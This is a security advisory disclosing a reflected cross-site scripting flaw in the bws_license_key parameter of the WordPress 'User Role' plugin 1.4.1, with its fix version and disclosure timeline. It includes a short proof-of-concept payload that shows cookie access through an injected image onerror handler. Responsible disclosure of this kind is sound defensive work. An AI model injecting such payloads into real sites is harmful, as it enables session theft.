Plugin Name : User Role
 
Effected Version : 1.4.1 (and most probably lower version's if any)
 
Vulnerability : A3-Cross-Site Scripting (XSS)
 
Identified by : Madhu Akula
 

 
Technical Details
 
Minimum Level of Access Required : Administrator
 
PoC - (Proof of Concept) :
 
In the following field put the payload as below
 
http://localhost/wp-admin/admin.php?page=user-role.php&action=go_pro
bws_license_key = “><img src=x onerror=prompt(document.cookie);>
 
Vulnerable Parameter : bws_license_key
 
Type of XSS : Reflected
 
Fixed in : 1.4.2
 
http://wordpress.org/plugins/user-role/changelog/
 
Disclosure Timeline
 
Vendor Contacted : 2014-08-04
 
Plugin Status : Updated on 2014-08-07
 
Public Disclosure : October 3, 2015
 
CVE Number : Not assigned yet
 
Plugin Description :
 
The User Role plugin allows you to change wordpress role capabilities. It is a very useful tool when your site has a bunch of visitors or subscribers. The plugin has intuitive and convenient interface so all the site visitors can be easily sorted by roles with a couple of clicks.